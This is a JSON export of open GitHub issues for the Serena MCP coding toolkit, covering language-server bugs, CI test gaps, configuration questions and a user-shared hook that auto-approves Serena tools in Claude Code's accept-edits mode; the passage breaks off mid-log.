      "body": "Our testsuite gives:\n\n```\nFAILED test/serena/test_serena_agent.py::TestSerenaAgent::test_find_symbol[kotlin-Model-Struct-Model.kt] - AssertionError: Expected symbol info to be present for symbol: {'name_path': 'Model', 'kind': 'Struct', 'body_location': {'start_line': 2, 'end_line': 2}, 'relative_path': 'src/main/kotlin/test_repo/Model.kt'}\n```\n\nI have now disabled the test so CI can run through",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/924/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/920",
      "id": 3803290274,
      "node_id": "I_kwDOONgOes7isZqi",
      "number": 920,
      "title": "Make Serena respect Claude Code's accept edits mode",
      "user": {
        "login": "yuv-c-netapp",
        "id": 163010547,
        "node_id": "U_kgDOCbdX8w",
        "avatar_url": "https://avatars.githubusercontent.com/u/163010547?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/yuv-c-netapp",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 10,
      "created_at": "2026-01-12T08:40:10Z",
      "updated_at": "2026-02-07T09:51:01Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "### Is your feature request related to a problem? Please describe.                                                                                                                                                                                                                                                                                                                                                                 \n                                                                                                                                                                                                                                                                                                                                                                                                                               \nWhen using Serena with Claude Code, the permission systems are independent. Claude Code's \"accept edits on\" toggle controls native tools, but Serena MCP tools always prompt - even when the user explicitly enabled accept edits mode.                                                                                                                                                                                        \n                                                                                                                                                                                                                                                                                                                                                                                                                               \n###  Describe the solution you'd like                                                                                                                                                                                                                                                                                                                                                                                               \n                                                                                                                                                                                                                                                                                                                                                                                                                               \nDocument this working PreToolUse hook solution in Serena's README or docs:                                                                                                                                                                                                                                                                                                                                                     \n                                                                                                                                                                                                                                                                                                                                                                                                                               \n```bash\n~/.claude/serena-auto-approve.sh:                                                                                                                                                                                                                                                                                                                                                                                              \n#!/bin/bash                                                                                                                                                                                                                                                                                                                                                                                                                    \ninput=$(cat)                                                                                                                                                                                                                                                                                                                                                                                                                   \nmode=$(echo \"$input\" | jq -r '.permission_mode // \"default\"')                                                                                                                                                                                                                                                                                                                                                                  \ntool=$(echo \"$input\" | jq -r '.tool_name // \"\"')                                                                                                                                                                                                                                                                                                                                                                               \n[[ \"$mode\" == \"acceptEdits\" && \"$tool\" == *serena* ]] && echo '{\"decision\":\"approve\"}'                                                                                                                                                                                                                                                                                                                                         \n```                                                                                                                                                                                                                                                                                                                                                                                                                          \n.claude/settings.local.json:                                                                                                                                                                                                                                                                                                                                                                                                   \n```json\n{\"hooks\":{\"PreToolUse\":[{\"hooks\":[{\"type\":\"command\",\"command\":\"~/.claude/serena-auto-approve.sh\"}]}]}}                                                                                                                                                                                                                                                                                                                         \n```\n                                                                                                                                                                                                                                                                                                                                                                                                                               \n### Describe alternatives you've considered                                                                                                                                                                                                                                                                                                                                                                                        \n                                                                                                                                                                                                                                                                                                                                                                                                                               \n- Adding all Serena tools to static allow list - but then they never prompt, even when safety is wanted                                                                                                                                                                                                                                                                                                                        \n- Waiting for Claude Code to natively support MCP tools in permission mode - unclear timeline                                                                                                                                                                                                                                                                                                                                  \n                                                                                                                                                                                                                                                                                                                                                                                                                               \n### Additional context                                                                                                                                                                                                                                                                                                                                                                                                             \n                                                                                                                                                                                                                                                                                                                                                                                                                               \nThis works because Claude Code now exposes permission_mode in hook payloads (ref: [anthropics/claude-code#4719](https://github.com/anthropics/claude-code/issues/4719)). Restart required after hook changes.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/920/reactions",
        "total_count": 2,
        "+1": 2,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/900",
      "id": 3779029124,
      "node_id": "I_kwDOONgOes7hP2iE",
      "number": 900,
      "title": "Julia LS initialisation problems",
      "user": {
        "login": "Meng-Fei",
        "id": 18731554,
        "node_id": "MDQ6VXNlcjE4NzMxNTU0",
        "avatar_url": "https://avatars.githubusercontent.com/u/18731554?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/Meng-Fei",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 6,
      "created_at": "2026-01-04T09:10:06Z",
      "updated_at": "2026-02-05T15:00:14Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "I have:\n\n- [x] Read the readme and verified that the issue cannot be solved by adjusting configuration\n- [x] Understood that Serena's dashboard can be disabled through the config\n- [x] Understood that by default a client session will start a separate instance of a Serena server. \n- [x] Understood that for multi-agent setups, the SSE mode should be used.\n- [x] Verified that non-project files are ignored using either gitignore or the corresponding setting in `.serena/project.yml`\n- [x] Have looked for similar issues and discussions, including closed ones\n- [x] Made sure it's an actual issue and not a question - those should be opened as discussion instead.\n\nIf you have encountered a real and new issue:\n\n- [x] I performed `<uv invocation> serena project health-check`\n- [x] I indexed the project as described in the readme\n- [x] Added sufficient explanation of my setup: the MCP client, the OS, the programming language, any config adjustments or relevant project specifics\n- [x] Explained how the issue arose, added instructions on how to reproduce it (if possible)\n- [x] If the issue happens on an open source project, I have added the link\n- [x] Wrote a meaningful title and description\n\n## Setup\n\n  - **MCP Client**: Claude Code 2.0.74\n  - **OS**: Linux (openSUSE)\n  - **Language**: Julia (LanguageServer.jl v4.5.1)\n  - **Serena**: 0.1.4-603ef3f8\n\n  ## Issue\n\n  The Julia LanguageServer takes ~10 seconds to initialize (confirmed by health-check). In stdio mode, Claude Code closes the MCP connection after ~4 seconds of no response, before Serena can finish initializing the language server.\n\n  **Health-check log**:\n  Language server startup (language=julia) completed in 10.035 seconds\n\n  **Current behavior**: Serena crashes with stdio transport when using slow-initializing language servers.\n\n  **Workaround**: Use SSE transport mode, which works perfectly.\n\n  ## Request\n\n  The issue checklist mentions \"for multi-agent setups, the SSE mode should be used.\" However, SSE is also required for **single-agent setups with slow-initializing language servers**.\n\n  Please consider:\n  1. **Documentation update**: Add guidance that SSE mode should be recommended for language servers with slow initialization (e.g. Julia and maybe others)\n  2. **Or async initialization**: Initialize language servers asynchronously so MCP responds within timeout window\n\n  This is primarily a documentation/UX issue rather than a bug.\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/900/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/860",
      "id": 3750933677,
      "node_id": "I_kwDOONgOes7fkrSt",
      "number": 860,
      "title": "Feature Request: Warn when querying symbols in unconfigured language",
      "user": {
        "login": "neilinger",
        "id": 3368283,
        "node_id": "MDQ6VXNlcjMzNjgyODM=",
        "avatar_url": "https://avatars.githubusercontent.com/u/3368283?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/neilinger",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 0,
      "created_at": "2025-12-21T09:00:01Z",
      "updated_at": "2025-12-21T09:00:01Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Problem\n\nWhen `find_symbol` or `get_symbols_overview` is called on a file whose language is not configured in `project.yml`, Serena returns an empty result `[]` with no warning or error message.\n\nThis causes a silent failure mode where:\n1. Agent calls `find_symbol` on a Python file\n2. Python is not in `languages:` config\n3. Serena returns `[]` (no symbols found)\n4. Agent interprets this as \"no symbols exist\" rather than \"language not supported\"\n5. Agent falls back to file-level Read/Edit operations\n\n## Evidence\n\nProject with 563 Python files configured as:\n```yaml\nlanguages:\n  - markdown\n  - bash\n```\n\nCalling `get_symbols_overview` on a Python file returns `[]`.\n\n## Proposed Solution\n\nWhen a tool is called on a file whose language is not configured:\n\n```json\n{\n  \"result\": [],\n  \"warning\": \"Language 'python' not configured in project.yml. Add 'python' to languages list for symbol support.\"\n}\n```\n\nOr as a separate field in the response that MCP clients can display.\n\n## Impact\n\nThis is a significant UX issue that causes agents to unknowingly bypass Serena's core value proposition (semantic code operations) and fall back to less efficient file-level operations.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/860/reactions",
        "total_count": 2,
        "+1": 2,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/853",
      "id": 3740744252,
      "node_id": "I_kwDOONgOes7e9zo8",
      "number": 853,
      "title": "find_symbol fails on dot-directory files while get_symbols_overview succeeds",
      "user": {
        "login": "nightshift2k",
        "id": 82537832,
        "node_id": "MDQ6VXNlcjgyNTM3ODMy",
        "avatar_url": "https://avatars.githubusercontent.com/u/82537832?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/nightshift2k",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 0,
      "created_at": "2025-12-17T22:40:19Z",
      "updated_at": "2025-12-17T22:40:19Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Summary\n\n`find_symbol` returns empty results for files in dot-prefixed directories (e.g., `.claude/lib/workflow.py`), while `get_symbols_overview` successfully returns symbols from the same files. This inconsistency occurs because `request_full_symbol_tree` checks `is_ignored_path` before processing, but `request_document_symbols` does not.\n\n## Environment\n\n- Serena version: Latest (installed via uv)\n- Language server: Pyright\n- OS: macOS Darwin 25.2.0\n\n## Steps to Reproduce\n\n1. Create a Python file in a dot-prefixed directory:\n   ```bash\n   mkdir -p .claude/lib\n   cat > .claude/lib/workflow.py << 'PY'\n   def main():\n       \"\"\"Entry point.\"\"\"\n       pass\n   PY\n   ```\n\n2. Configure Serena with Python language support in `.serena/project.yml`\n\n3. Configure pyright to include the dot-directory:\n   ```json\n   {\n     \"include\": [\".claude/lib\"],\n     \"exclude\": [\"**/node_modules\", \"**/__pycache__\"],\n     \"pythonVersion\": \"3.12\"\n   }\n   ```\n\n4. Call `get_symbols_overview` on the file:\n   ```\n   get_symbols_overview(relative_path=\".claude/lib/workflow.py\")\n   ```\n   **Result:** Returns symbol `main` successfully\n\n5. Call `find_symbol` for the same symbol:\n   ```\n   find_symbol(name_path_pattern=\"main\", relative_path=\".claude/lib/workflow.py\")\n   ```\n   **Result:** Returns empty array `[]`\n\n## Expected Behavior\n\nBoth tools should return consistent results. If `get_symbols_overview` can retrieve symbols from a file, `find_symbol` should also find symbols in that file.\n\n## Actual Behavior\n\n- `get_symbols_overview` works correctly\n- `find_symbol` returns empty results\n- Log shows: `ERROR - You passed a file explicitly, but it is ignored. File: .claude/lib/workflow.py`\n\n## Root Cause Analysis\n\n### The Inconsistency\n\n`request_document_symbols` (used by `get_symbols_overview`) has no `is_ignored_path` guard:\n\n```python\n# src/solidlsp/ls.py - request_document_symbols\ndef request_document_symbols(self, relative_path: str) -> list[SymbolInformation]:\n    # No is_ignored_path check here\n    cached = self._document_symbols_cache.get(relative_path)\n    # ... proceeds to get symbols\n```\n\n`request_full_symbol_tree` (used by `find_symbol`) has the guard:\n\n```python\n# src/solidlsp/ls.py lines 1124-1127\nif self.is_ignored_path(within_relative_path):\n    log.error(\"You passed a file explicitly, but it is ignored. ...\")\n    return []\n```\n\n### The Hardcoded Exclusion\n\nThe `is_ignored_dirname` method unconditionally excludes all dot-directories:\n\n```python\n# src/solidlsp/ls.py lines 153-158\ndef is_ignored_dirname(self, dirname: str) -> bool:\n    \"\"\"\n    A language-specific condition for directories that should always be ignored.\n    \"\"\"\n    return dirname.startswith(\".\")\n```\n\nThis conflicts with:\n1. Language server configuration (pyright is configured to include `.claude/lib`)\n2. User-specified `ignored_paths` settings (empty in this case)\n3. The behavior of `get_symbols_overview` which successfully processes these files\n\n## Impact\n\nThis affects Claude Code users who store Python utilities in `.claude/lib/` (a common convention). Users can list symbols but cannot search for or navigate to specific symbols in these files.\n\n## Suggested Solutions\n\n### Option 1: Remove Inconsistency (Minimal Change)\nRemove the `is_ignored_path` check from `request_full_symbol_tree`, matching `request_document_symbols` behavior.\n\n### Option 2: Make Dot-Directory Exclusion Configurable\nAdd a configuration option to control dot-directory behavior:\n```yaml\n# .serena/project.yml\ninclude_dot_directories: true  # or list specific ones\n```\n\n### Option 3: Respect Language Server Configuration\nIf the language server (pyright) is configured to include a path, Serena should not override that with its own hardcoded exclusion.\n\n## Additional Context\n\n- The `is_ignored_dirname` method appears designed for directories like `.git`, `.venv`, etc.\n- Claude Code's `.claude/` directory is a legitimate workspace location, not a hidden system directory\n- Similar tools (VS Code, pyright itself) allow users to explicitly include dot-directories",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/853/reactions",
        "total_count": 1,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 1,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/839",
      "id": 3727879620,
      "node_id": "I_kwDOONgOes7eMu3E",
      "number": 839,
      "title": "Include scalaLSP operation tests in CI",
      "user": {
        "login": "YuMuuu",
        "id": 26830741,
        "node_id": "MDQ6VXNlcjI2ODMwNzQx",
        "avatar_url": "https://avatars.githubusercontent.com/u/26830741?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/YuMuuu",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 1,
      "created_at": "2025-12-14T19:23:28Z",
      "updated_at": "2025-12-14T19:24:40Z",
      "closed_at": null,
      "author_association": "CONTRIBUTOR",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "**Is your feature request related to a problem? Please describe.**\n\nhttps://github.com/oraios/serena/pull/528 We decided not to add various parts of this to CI due to compilation and execution time issues.\n\n**Describe the solution you'd like**\n\nAdd the scalaLSP test to CI and fix it so that it works properly.\n\n**Describe alternatives you've considered**\nA clear and concise description of any alternative solutions or features you've considered.\n\nsbt projects generally use a strategy of sharing the build cache with artifacts to shorten dependency download and compile times in CI. In the previous PR, the context became too large, so we removed it from CI, but I think that by using the build cache, you can check the operation in CI without any problems.\n\n**Additional context**\nAdd any other context or screenshots about the feature request here.\n",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/839/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/805",
      "id": 3691020683,
      "node_id": "I_kwDOONgOes7cAIGL",
      "number": 805,
      "title": "Using serena within a git worktree structure",
      "user": {
        "login": "meatballs",
        "id": 338846,
        "node_id": "MDQ6VXNlcjMzODg0Ng==",
        "avatar_url": "https://avatars.githubusercontent.com/u/338846?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/meatballs",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035898,
          "node_id": "LA_kwDOONgOes8AAAAB8Sobeg",
          "url": "https://api.github.com/repos/oraios/serena/labels/question",
          "name": "question",
          "color": "d876e3",
          "default": true,
          "description": "Further information is requested"
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 2,
      "created_at": "2025-12-03T16:45:31Z",
      "updated_at": "2025-12-12T04:12:33Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "I use a git worktree structure - with a bare repo and worktree directories underneath.\n\nI have `.serena` in the top-level bare repo with memories that apply to the entire project.\n\nHowever, if I work within a worktree directory, serena seems to activate that as a new project and ignores the top level memories.\n\nAm I doing something wrong here? Is this workflow supported?",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/805/reactions",
        "total_count": 4,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 4
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/800",
      "id": 3682740724,
      "node_id": "I_kwDOONgOes7bgin0",
      "number": 800,
      "title": "rust-analyzer fails if rustup is not installed even when rust-analyzer exists in PATH",
      "user": {
        "login": "lum1narie",
        "id": 10273413,
        "node_id": "MDQ6VXNlcjEwMjczNDEz",
        "avatar_url": "https://avatars.githubusercontent.com/u/10273413?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/lum1narie",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {
        "0": {
          "id": 8341035885,
          "node_id": "LA_kwDOONgOes8AAAAB8SobbQ",
          "url": "https://api.github.com/repos/oraios/serena/labels/bug",
          "name": "bug",
          "color": "d73a4a",
          "default": true,
          "description": "Something isn't working"
        },
        "1": {
          "id": 9643955448,
          "node_id": "LA_kwDOONgOes8AAAACPtMU-A",
          "url": "https://api.github.com/repos/oraios/serena/labels/language-specific",
          "name": "language-specific",
          "color": "aaaaaa",
          "default": false,
          "description": null
        }
      },
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 3,
      "created_at": "2025-12-01T20:31:19Z",
      "updated_at": "2025-12-15T05:06:50Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "## Suspected root cause \n\nIn the Serena version I'm using, `RustAnalyzer._ensure_rust_analyzer_installed()` only relies on `RustAnalyzer._get_rust_analyzer_path()`.\nIn that version, `_get_rust_analyzer_path()` appears to only call `rustup which rust-analyzer` and does not fall back to the system `PATH`.\n\nAs a result, even if `rust-analyzer` is installed independently and is present on `PATH`, Serena still reports:\n\n> Neither rust-analyzer nor rustup is installed.\n> Please install Rust via https://rustup.rs/ or install rust-analyzer separately.\n\nand there is no way to satisfy the “install rust-analyzer separately” part with just a standalone `rust-analyzer` on `PATH`.\n\n---\n\n## Environment\n\n* OS: NixOS\n* `rust-analyzer`:\n  * Path: `/home/lum1narie/.nix-profile/bin/rust-analyzer`\n    * installed via home-manager\n  * Version:\n    ```bash\n    $ which rust-analyzer\n    /home/lum1narie/.nix-profile/bin/rust-analyzer\n    $ rust-analyzer --version\n    rust-analyzer 2025-05-12\n    ```\n* `rustup`: not installed (`shutil.which(\"rustup\")` returns `None`)\n* Serena invocation (when reproducing):\n  ```bash\n  env PATH=\"$HOME/.nix-profile/bin:$PATH\" \\\n    uvx --from git+https://github.com/oraios/serena \\\n    serena start-mcp-server \\\n      --project /home/lum1narie/Development/rust_scad/scadman\n  ```\n  * tried `env PATH=\"$HOME/.nix-profile/bin:$PATH\"` to ensure `~/.nix-profile/` is in the `$PATH` for serena\n* Serena source commit inspected:\n  `855818da6357ab37fe1d413f5451f1b7027a99e6`, file\n  `src/solidlsp/language_servers/rust_analyzer.py`\n  (the error originates around L82 in that file).\n\n## Actual behaviour\n\nEven though `rust-analyzer` is installed and visible on `PATH` via Nix,\nSerena fails to start the Rust language server with:\n\n```text\nINFO  ... Language server startup (language=rust) starting ...\nINFO  ... Creating language server instance for /home/lum1narie/Development/rust_scad/scadman, language=rust.\nERROR ... Language server startup (language=rust) failed after 0.028 seconds\nERROR ... Error starting language server for language rust: Neither rust-analyzer nor rustup is installed.\nPlease install Rust via https://rustup.rs/ or install rust-analyzer separately.\nTraceback (most recent call last):\n  File \".../serena/ls_manager.py\", line 93, in start_language_server\n    language_server = factory.create_language_server(language)\n  ...\n  File \".../solidlsp/language_servers/rust_analyzer.py\", line 103, in __init__\n    rustanalyzer_executable_path = self._ensure_rust_analyzer_installed()\n  File \".../solidlsp/language_servers/rust_analyzer.py\", line 82, in _ensure_rust_analyzer_installed\n    raise RuntimeError(\nRuntimeError: Neither rust-analyzer nor rustup is installed.\nPlease install Rust via https://rustup.rs/ or install rust-analyzer separately.\n```\n\nThe same error also occurs when using the Nix-packaged `serena` binary (instead of `uvx`).\n\n## Additional diagnostics\n\nTo confirm that `rust-analyzer` is indeed visible from within the same uv environment, I ran a small test script.\n\n`check_ra.py`:\n\n```python\nimport os, shutil\n\nprint(\"PATH =\", os.environ.get(\"PATH\", \"\"))\nprint(\"rust-analyzer =\", shutil.which(\"rust-analyzer\"))\nprint(\"rustup =\", shutil.which(\"rustup\"))\n```\n\nExecution:\n\n```bash\n$ env PATH=\"$HOME/.nix-profile/bin:$PATH\" \\\n    uvx --from git+https://github.com/oraios/serena \\\n    python check_ra.py\n\nPATH = /home/lum1narie/.cache/uv/archive-v0/wRXg1E3NpepOlKRM2fjxe/bin:/home/lum1narie/.nix-profile/bin:...\nrust-analyzer = /home/lum1narie/.nix-profile/bin/rust-analyzer\nrustup = None\n```\n\n`check_ra2.py`:\n\n```python\nimport os\nfrom solidlsp.language_servers.rust_analyzer import RustAnalyzer\n\nprint(\"PATH =\", os.environ.get(\"PATH\", \"\"))\nprint(\"RustAnalyzer._get_rust_analyzer_path() =\", RustAnalyzer._get_rust_analyzer_path())\n```\n\nExecution:\n\n```bash\n$ env PATH=\"$HOME/.nix-profile/bin:$PATH\" \\\n    uvx --from git+https://github.com/oraios/serena \\\n    python check_ra2.py\n\nPATH = /home/lum1narie/.cache/uv/archive-v0/wRXg1E3NpepOlKRM2fjxe/bin:/home/lum1narie/.nix-profile/bin:...\nRustAnalyzer._get_rust_analyzer_path() = None\n```\n\nSo:\n* Inside the same uv-created Python environment, `shutil.which(\"rust-analyzer\")` correctly finds the Nix-provided binary\n* However, the Rust language server startup logic still throws the “Neither rust-analyzer nor rustup is installed” error\n\n## Code-level analysis (suspected issue)\n\nIn the linked `rust_analyzer.py` (commit `855818da...`),\nthe RuntimeError is raised inside `RustAnalyzer._ensure_rust_analyzer_installed()` around L82.\n\nhttps://github.com/oraios/serena/blob/855818da6357ab37fe1d413f5451f1b7027a99e6/src/solidlsp/language_servers/rust_analyzer.py#L82-L85\n\nIn the version I’m running, `_get_rust_analyzer_path()` appears to only call `rustup which rust-analyzer` and does not look at the system `PATH` at all (no `shutil.which(\"rust-analyzer\")` fallback), despite the error text suggesting that a standalone `rust-analyzer` installation would be sufficient.\n\nThis leads to the following behaviour:\n\n* On a system without `rustup`, `_get_rust_analyzer_path()` always returns `None`\n* `_ensure_rust_analyzer_installed()` immediately raises the RuntimeError\n* Even if `rust-analyzer` is installed separately and is available on `PATH`, it is never considered\n\nThis exactly matches my setup:\n\n* `rust-analyzer` is installed via Nix and present on `PATH`\n* `rustup` is not installed\n* Yet Serena always reports “Neither rust-analyzer nor rustup is installed.”\n\n## Expected behaviour\n\nI would expect either:\n\n1. Implementation to match the message:\n   * `_get_rust_analyzer_path()` should check both `rustup` and the system `PATH`, e.g. by using `shutil.which(\"rust-analyzer\")` as a fallback.\n   * If `rust-analyzer` is found on `PATH`, use that without requiring `rustup`.\n2. Or the error message to match the implementation:\n   * If the intended behaviour is to support only `rustup`-managed toolchains, the message should not suggest that installing `rust-analyzer` separately is a viable fix when it is not actually checked.",
      "closed_by": null,
      "reactions": {
        "url": "https://api.github.com/repos/oraios/serena/issues/800/reactions",
        "total_count": 0,
        "+1": 0,
        "-1": 0,
        "laugh": 0,
        "hooray": 0,
        "confused": 0,
        "heart": 0,
        "rocket": 0,
        "eyes": 0
      },
      "performed_via_github_app": null,
      "state_reason": null,
      "pinned_comment": null,
      "linked_prs": []
    },
    {
      "url": "https://api.github.com/repos/oraios/serena/issues/799",
      "id": 3682490693,
      "node_id": "I_kwDOONgOes7bfllF",
      "number": 799,
      "title": "zls: no rename edits for symbol",
      "user": {
        "login": "dennypenta",
        "id": 18236918,
        "node_id": "MDQ6VXNlcjE4MjM2OTE4",
        "avatar_url": "https://avatars.githubusercontent.com/u/18236918?v=4",
        "gravatar_id": "",
        "url": "https://api.github.com/users/dennypenta",
        "type": "User",
        "user_view_type": "public",
        "site_admin": false
      },
      "labels": {},
      "state": "open",
      "locked": false,
      "assignee": null,
      "assignees": {},
      "milestone": null,
      "comments": 6,
      "created_at": "2025-12-01T19:15:32Z",
      "updated_at": "2025-12-18T16:02:00Z",
      "closed_at": null,
      "author_association": "NONE",
      "type": null,
      "active_lock_reason": null,
      "sub_issues_summary": {
        "total": 0,
        "completed": 0,
        "percent_completed": 0
      },
      "issue_dependencies_summary": {
        "blocked_by": 0,
        "total_blocked_by": 0,
        "blocking": 0,
        "total_blocking": 0
      },
      "body": "#### Why do I think it's a bug\n\n1. nvim lsp client is able to rename it\n2. others lsp mcps are able to rename it (they don't support workspace edit, but can do in the fine where the symbol is defined) \n\n#### How to reproduce\ninvoke rename tool in zig project\n\nserena - rename_symbol (MCP)(name_path: \"Block\", relative_path: \"src/store/inmem/block.zig\", new_name: \"RawBlock\")\n  ⎿ {\n      \"result\": \"Error executing tool: ValueError - Language server for zig returned no rename edits for symbol 'Block'. The symbol might not support renaming.\"\n    }\n\n#### Link to the project where it happened\nhttps://github.com/seqor/seqor\n\n#### zls version\n0.15.0\n\n#### logs\n```txt\nProgramming languages: zig; file encoding: utf-8\nINFO  2025-12-01 20:12:46,503 [MainThread] serena.cli:start_mcp_server:193 - Starting MCP server …\nINFO  2025-12-01 20:12:46,528 [MainThread] serena.mcp:_set_mcp_tools:240 - Starting MCP server with 21 tools: ['list_dir', 'find_file', 'search_for_pattern', 'get_symbols_overview', 'find_symbol', 'find_referencing_symbols', 'replace_symbol_body', 'insert_after_symbol', 'insert_before_symbol', 'rename_symbol', 'write_memory', 'read_memory', 'list_memories', 'delete_memory', 'edit_memory', 'check_onboarding_performed', 'onboarding', 'think_about_collected_information', 'think_about_task_adherence', 'think_about_whether_you_are_done', 'initial_instructions']\nINFO  2025-12-01 20:12:46,528 [MainThread] serena.mcp:server_lifespan:347 - MCP server lifetime setup complete\nINFO  2025-12-01 20:12:46,534 [MainThread] mcp.server.lowlevel.server:_handle_request:625 - Processing request of type ListToolsRequest\nINFO  2025-12-01 20:12:46,535 [MainThread] mcp.server.lowlevel.server:_handle_request:625 - Processing request of type ListPromptsRequest\nINFO  2025-12-01 20:12:46,536 [MainThread] mcp.server.lowlevel.server:_handle_request:625 - Processing request of type ListResourcesRequest\nINFO  2025-12-01 20:13:38,889 [MainThread] mcp.server.lowlevel.server:_handle_request:625 - Processing request of type CallToolRequest\nINFO  2025-12-01 20:13:38,890 [MainThread] serena.task_executor:issue_task:192 - Scheduling Task-2:RenameSymbolTool\nINFO  2025-12-01 20:13:38,975 [SerenaAgentTaskExecutor] serena.task_executor:_process_task_queue:123 - Starting execution of Task-2:RenameSymbolTool\nINFO  2025-12-01 20:13:38,975 [Task-2:RenameSymbolTool] serena.task_executor:start:360 - Task-2:RenameSymbolTool starting ...\nINFO  